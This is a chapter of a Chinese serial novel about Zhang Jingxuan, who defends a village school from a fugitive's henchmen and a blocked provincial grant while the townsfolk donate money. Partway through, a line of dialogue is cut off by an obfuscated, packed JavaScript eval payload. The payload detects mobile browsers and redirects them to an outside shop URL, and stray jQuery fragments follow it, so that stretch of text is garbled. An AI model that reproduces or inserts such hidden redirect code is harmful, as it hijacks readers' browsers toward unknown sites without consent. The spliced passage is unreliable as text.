第一场冬雨来得很突然。


    清晨还是晴好的天，晌午就阴了。铅灰色的云从青云山顶压下来，低低地悬在青石镇上空。风起了，带着河水的湿气和山间的寒，吹得祠堂外的老槐树枝条乱舞。


    张静轩站在学堂门口，望着天色。学生们刚放学，三三两两地跑进雨里，有的顶着书包，有的缩着脖子。水生跑过来，把一片桐油布塞给他：“静轩哥，这个给你挡雨。”


    “你怎么办？”


    “俺跑得快！”水生咧嘴一笑，转身冲进雨幕，身影很快消失在巷口。


    雨点开始落下来，砸在青石板上，溅起细密的水花。张静轩撑开桐油布，往家走。街上行人匆匆，店铺忙着收摊，早点铺的老板娘正把蒸笼往屋里搬，热气混着雨雾，白蒙蒙一片。


    路过镇公所时，他看见门口停着一辆马车，帘子紧闭。车窗里似乎有双眼睛在往外看，但雨幕太密，看不清。张静轩加快脚步，心里却想起秦怀安的叮嘱：陈继业在逃，他手下还有几个漏网之鱼。


    回家路上，雨越下越大。桐油布不大，遮不住全身，裤脚很快湿了。张静轩拐进一条小巷想抄近道，刚走几步，就听见身后有脚步声——不紧不慢，隔着十来步远。


    他警觉地回头。雨幕里，一个人影站在巷口，穿着蓑衣，戴着斗笠，看不清脸。见他回头，那人转身走了，消失在拐角。


    是巧合？还是……


    张静轩握紧了桐油布下的手。怀里揣着秦怀安送的那把小刀，刀柄的麻绳被体温焐得温热。


    回到家时，浑身已经湿透。福伯忙迎上来：“小少爷，快换衣裳，小心着凉。”又压低声音，“老爷在书房，有客人。”


    “谁？”


    “省城来的，姓沈。”


    张静轩心头一动。沈特派员？他怎么会来？


    换了干衣裳，他轻手轻脚走到书房外。门虚掩着，里面传出说话声。


    “……陈继业确实在逃，但线报说，他已经离开本省。”是沈特派员的声音，“我们追查到他最后出现的地方，是邻省的码头。估计是走水路往南边去了。”


    “南边？”张老太爷的声音。


    “对。上海，或者广州。那些地方租界多，容易藏身。”沈特派员顿了顿，“不过，他手下几个小喽啰还在本地活动。我们抓了两个，还有三个在逃。其中一个……可能就在青石镇附近。”


    书房里静了静。雨声透过窗户传进来，淅淅沥沥。


    “张公，”沈特派员的声音压低了些，“令郎这段时间，最好少出门。尤其是一个人。”


    “我明白。”张老太爷说，“静轩他……”


    “他在这件事里，露了脸。秦怀安交出的证据，是他找到的。陈继业那边的人，恐怕已经知道了。”


    张静轩站在门外，手心里出了汗。他想起巷口那个蓑衣人，想起那双隔着雨幕的眼睛。


    “还有件事。”沈特派员说，“省教育厅的拨款，下个月就能到。但最近省城有些传言，说青石镇学堂‘来历有疑’，‘牵扯旧案’。虽然王秉章倒了，但保守势力还在。这笔钱……可能会有人做文章。”


    “怎么做？”


    “拖，卡，或者……要求‘重新审计’。”沈特派员叹气，“新式学堂本来就招人眼红，你们这次又闹得这么大。有些人，面上不说，心里记着呢。”


    书房里又是一阵沉默。雨声更急了，打在窗纸上，噗噗作响。


    张静轩轻轻推门进去。张老太爷和沈特派员都抬起头。沈特派员还是那身中山装，但面色疲惫，眼下有青影。


    “沈叔叔。”张静轩行礼。


    沈特派员点点头：“静轩，长高了。”他打量着他，“刚才的话，你听见了？”


    “听见了。”


    “怕吗？”


    张静轩摇头：“不怕。但想知道，我们能做什么。”


    沈特派员眼中闪过一丝赞许：“眼下，什么都别做。该上学上学，该办学办学。那些暗处的人，越动越容易露出马脚。”他从公文包里取出一张照片，“这个人，你见过吗？”


    照片上是个三十来岁的汉子，方脸，浓眉，左边眉骨上有道疤。张静轩仔细看了看，摇头：“没见过。”


    “他叫马三，陈继业的得力手下，专管‘脏活’。”沈特派员收起照片，“昨天有人在青石镇附近看见他。如果见到，立刻告诉我——不要自己上前。”


    张静轩点头。照片上那道疤，像条蜈蚣，趴在眉骨上，让人过目不忘。


    沈特派员又坐了一会儿，便起身告辞。雨还在下，他披上雨披，钻进马车。马蹄声在雨里显得沉闷，很快远去了。


    张老太爷站在门口，望着雨幕，久久不语。


    “爹，”张静轩轻声说，“我会小心的。”


    “光小心不够。”张老太爷转身，走回书房，“从明天起，福伯接送你上学。放学就回家，别在外逗留。”他顿了顿，“还有，学堂那边……有些事，让卢明远他们多担着。你毕竟是孩子。”


    这话说得委婉，但张静轩听懂了——父亲是让他暂时退到后面，避避风头。


    “爹，我不怕……”


    “我知道你不怕。”张老太爷打断他，“但有些事，不是怕不怕的问题。是值不值。”他在书案后坐下，“你现在要做的，是读书，是长大。等真长大了，有的是事让你做。”


    张静轩还想说什么，但看着父亲疲惫的神情，终究没开口。他知道，父亲说的是对的。但他也知道，有些事，一旦开始了，就退不回去了。


    夜里，雨停了。月亮从云缝里露出来，清清冷冷地挂在半空。张静轩躺在床上，睁着眼看帐顶。窗外有滴水声，嗒，嗒，嗒，像更漏。


    他想起巷口那个蓑衣人，想起照片上马三脸上的疤，想起沈特派员说的“有些人记着呢”。这些像一张网，在黑暗里张开，网眼细密，网绳坚韧。


    但他不是鱼。他是张静轩。


    他坐起身，点亮油灯，摊开纸笔。该做点什么了。


    第一张纸，画的是青石镇的地图。祠堂、张家、镇公所、码头、关帝庙废墟、主要的街道巷口……一一标注。这是他从大哥笔记里学来的——要把地形记在心里。


    第二张纸，列的是人名。赵全福（已抓）、陈继业（在逃）、马三（在逃）、另外两个喽啰（在逃）……还有王秉章背后的省议会要员（已倒台），以及可能还在的“保守势力”。


    第三张纸，写的是时间线。三年前秦先生案，大哥调查，参军；三年后办学堂，遇阻，反击，破案；现在——余波未平，暗影仍在。


    三张纸摊在桌上，油灯的光跳动着，照着那些字迹和线条。张静轩看着，脑海里渐渐清晰。


    敌人还在，但换了方式。从明面的打压，变成暗处的窥伺。从权力的压制，变成个人的威胁。方式变了，但目的没变——毁掉学堂，或者，毁掉坚持办学的人。


    而他，现在成了目标之一。


    但他不是一个人。有父亲，有福伯，有卢明远，有苏宛音和程秋实，有周大栓李铁匠那些街坊，还有学堂里二十八个孩子。


    想到孩子们，他心里一暖。水生憨厚的笑容，小莲怯怯的眼神，铁蛋倔强的神情……这些，都是他要守护的。


    吹熄灯，重新躺下。黑暗中，他握紧了怀里的小刀。刀身冰凉，但麻绳缠裹处，有体温的暖意。


    第二天，雨过天晴。天空洗得碧蓝，阳光亮得晃眼。青石镇像刚出浴的姑娘，清新，润泽。青石板路还湿着，倒映着蓝天白云，踩上去有轻微的水声。


    福伯果然一早就等在门外。老管家今日腰间又别了那根短棍，眼神警惕地扫视着四周。


    “小少爷，昨夜……”他压低声音，“镇东头出了点事。”


    “什么事？”


    “陈老秀才家的柴房，夜里被人撬了。”福伯说，“没丢东西，但翻得乱七八糟。陈老秀才今早才发现，吓了一跳。”


    张静轩心头一紧：“冲着陈老先生去的？”


    “不好说。”福伯摇头，“也可能是冲着学堂——陈老先生捐了书，写了字，大家都知道他支持学堂。”


    两人往学堂走。路过陈老秀才家时，门开着，老人正在院子里收拾柴火，脸色不太好。


    “陈老先生。”张静轩走过去。


    陈老秀才抬头，勉强笑了笑：“是静轩啊。没事，就是些柴火，乱了就乱了。”


    “报警了吗？”


    “报了。镇上的老刘来看了一眼，说可能是野狗扒的。”陈老秀才叹气，“我知道不是野狗——门闩是被撬开的。”


    张静轩看着老人花白的头发，心里不是滋味。陈老秀才古板了一辈子，临老想通了些，支持新学，却惹来这种事。


    “陈老先生，您这几天……小心些。”


    “我晓得。”陈老秀才摆摆手，“一把老骨头了，不怕。倒是你们，年轻，要当心。”


    离开陈家，张静轩一路沉默。福伯也沉默，但眼神更警觉了。


    到学堂时，气氛比往日凝重。苏宛音和程秋实在说话，见他们来，停下话头。


    “静轩，”苏宛音走过来，“陈老先生家的事，听说了？”


    张静轩点头：“是冲着学堂来的？”


    “可能。”程秋实推了推眼镜，“昨晚不止陈家。卢明远家的货栈，也被人扔了石头，砸坏了两扇窗户。”


    卢明远家的货栈在镇西，专走省城货运。卢家支持办学，也是公开的事。


    “卢大哥没事吧？”


    “人没事，但货栈伙计说，扔石头的人跑得快，没看清脸。”程秋实压低声音，“静轩，你说……是不是陈继业的人？”


    张静轩想起照片上马三的疤，想起巷口那个蓑衣人。他点点头：“可能。”


    “那怎么办？”苏宛音脸色苍白，“他们要是冲着我们来，孩子们……”


    “别慌。”张静轩深吸一口气，“他们不敢明着来。扔石头，撬柴房，都是试探，也是恐吓。咱们越慌，他们越得意。”


    这话说得冷静，连他自己都有些意外。苏宛音和程秋实看着他，眼神里有惊讶，也有欣慰。


    “静轩说得对。”程秋实点头，“咱们该干嘛干嘛。学堂照开，课照上。但要加强防备——晚上留人守夜，门窗检查仔细。”


    正说着，卢明远匆匆进来，手里拿着一封信：“宛音，秋实，静轩——省城来信了。”


    信是卢父亲笔。说省教育厅的拨款，果然被卡住了。理由是“需要进一步核实办学资质和资金用途”。同时，省城几家报纸开始出现“不和谐声音”，质疑青石镇学堂“背景复杂”，暗示办学“别有用心”。


    “这是要拖死我们。”程秋实脸色难看，“没有拨款，先生的束脩发不出，学堂的日常开销也……”


    “束脩我可以不要。”苏宛音说，“日常开销，大家凑一凑，总能撑过去。”


    “撑得了一时，撑不了一世。”卢明远摇头，“而且，这不是钱的问题，是态度问题。省里这个态度传出去，谁还敢支持学堂？谁还敢送孩子来？”


    这话说得沉重。所有人都沉默了。


    张静轩看着窗外。阳光正好，院子里那棵老槐树叶子黄了大半，风一吹，簌簌地落。几个早到的孩子正在扫落叶，扫帚划过地面，沙沙作响。


    “卢大哥，”他忽然开口，“令尊在省城，还能不能活动？”


    “能是能，但效果有限。”卢明远苦笑，“王秉章背后那个人虽然倒了，但保守派的势力盘根错节。我爹一个商人，说不上多少话。”


    “那记者呢？林记者那边，能不能再


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140651|196314||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    写篇文章？”


    “我已经写信了。”卢明远说，“但报纸也要顾忌，不能总盯着一个地方说事。”


    又陷入沉默。阳光从窗户照进来，在地上投出明亮的光斑。但张静轩觉得，那光里也有阴影。


    上午的课，照常进行。但张静轩能感觉到，苏宛音和程秋实都有些心不在焉。孩子们似乎也察觉到了什么，比往日安静。


    课间时，水生凑过来：“静轩哥，是不是出事了？”


    “没事。”张静轩摸摸他的头，“好好上课。”


    水生看着他，眼神清澈：“静轩哥，俺爹说，要是学堂有难处，俺们可以凑钱。虽然不多，但……”


    张静轩心头一热：“不用。学堂有办法。”


    水生点点头，没再问，但眼神里的担忧，藏不住。


    放学时，张静轩特意等所有孩子都走了，才和福伯离开。走出祠堂，他四下看了看——街道如常，行人如常。但他总觉得，有双眼睛在暗处看着。


    回到家，书房里有人说话。是周大栓和李铁匠，还有卖豆腐的王婶、开杂货铺的刘掌柜。见张静轩进来，都站起身。


    “小少爷。”


    “周叔，李叔，王婶，刘掌柜。”张静轩行礼，“诸位这是……”


    “我们听说，省里的拨款被卡了。”周大栓搓着手，“学堂不能倒。我们几个商量了，凑了点钱，先应应急。”


    他从怀里掏出一个布包，放在桌上。布包解开，里面是些银元、铜板，还有些碎银子。不多，但叠得整整齐齐。


    李铁匠也掏出一个布包：“这是我的。铁蛋上学，不能白上。”


    王婶、刘掌柜也拿出钱来。不多，但都是心意。


    张老太爷看着这些钱，眼眶红了：“诸位，这……这怎么使得……”


    “使得。”李铁匠声音粗哑，“张公，咱们都是粗人，不懂大道理。但知道，学堂是好事。孩子能识字，将来有出息。就冲这个，钱该出。”


    周大栓点头：“小少爷为了学堂，冒了那么大的险。咱们出点钱，算什么。”


    张静轩看着桌上那些钱，心里翻江倒海。这些钱，可能是周大栓跑船挣的血汗钱，是李铁匠一锤一锤打出来的，是王婶一块豆腐一块豆腐卖出来的，是刘掌柜一分一厘攒下来的。


    都是辛苦钱，也都是良心钱。


    “诸位叔伯婶娘，”他深深鞠躬，“这钱，学堂记下了。等省里拨款下来，一定还。”


    “还不还的，再说。”王婶抹抹眼角，“先把学堂保住。”


    众人又说了会儿话，便告辞了。张老太爷送他们到门口，回来时，在椅子上坐了许久，没说话。


    “爹，”张静轩轻声说，“百姓心里有杆秤。”


    “是啊。”张老太爷长长吐出一口气，“这杆秤，比官府的红头文件，比省里的拨款，都重。”


    夜里，张静轩又在灯下摊开纸笔。今天的事，要记下来。


    “冬月初三，省拨款被卡。周大栓、李铁匠等街坊凑钱助学。民心在，学堂不倒。”


    写完这句，他停笔。窗外月色如水，清冷冷地照着庭院。远处传来打更声，二更天了。


    他想起大哥信里的话：“挺直脊梁，守住本心。”


    脊梁要挺直，心要守住。但路，该怎么走？


    省里卡拨款，是软刀子。陈继业的人在暗处，是硬刀子。软硬兼施，是要逼他们放弃。


    但能放弃吗？不能。


    二十八个孩子在等着上学，街坊们在凑钱支持，苏宛音程秋实在不拿束脩教书，卢明远在四处奔走……所有人都在坚持，他怎么能退？


    可该怎么破局？


    张静轩看着油灯跳动的火苗，忽然想起一个人——林觉民。那个《新报》的记者，笔锋犀利，敢说话。他的文章，能影响舆论。


    也许……可以从舆论入手？


    省里卡拨款，总要有个理由。如果把这个理由公之于众，让全省的人评评理，会怎样？


    那些“背景复杂”“别有用心”的指控，如果摆在阳光下，经得起推敲吗？


    还有街坊凑钱助学的事，如果写出来，让全省的人看看——在青石镇这样的小地方，百姓是如何支持新学的，那些卡拨款的官员，脸上挂得住吗？


    思路渐渐清晰。他重新铺纸，开始写信。


    “林记者台鉴：青石镇一别，已近旬日。学堂运转如常，学生日有进益。然省教育厅拨款被卡，理由牵强。本地百姓闻之，慷慨解囊，凑钱助学。此事若见报，或可让全省知晓：新学之兴，在民心，不在红头文件。盼执笔为公，再助一力。张静轩谨上。”


    信写得很克制，但意思明白。他吹干墨迹，折好，放进信封。明天让福伯寄出去。


    做完这些，他吹熄灯，躺下。黑暗中，思绪却还在转。


    光靠舆论还不够。省里那些人，脸皮厚，舆论压力可能有用，也可能没用。还得有别的办法。


    比如……找沈特派员？他是警务厅的人，不归教育厅管。如果能通过他，把情况反映给更高层……


    或者，联合其他也在办学堂的地方？青石镇不是唯一办新学的，如果多个地方一起发声，力量会不会更大？


    越想越觉得，前路虽难，但不是无路可走。关键是要动脑子，要联合，要坚持。


    窗外传来猫头鹰的叫声，咕咕，咕咕，在寂静的夜里传得很远。张静轩闭上眼睛，慢慢睡着了。


    梦里，他看见大哥。大哥穿着军装，站在一片开阔地上，身后是连绵的青山。他回头，对张静轩笑：“静轩，好好守着学堂。等哥回来，咱们一起教孩子。”


    他重重点头。


    醒来时，天还没亮。窗外有微光，是黎明前最暗的时刻。张静轩坐起身，看着窗外的天色，心里忽然很平静。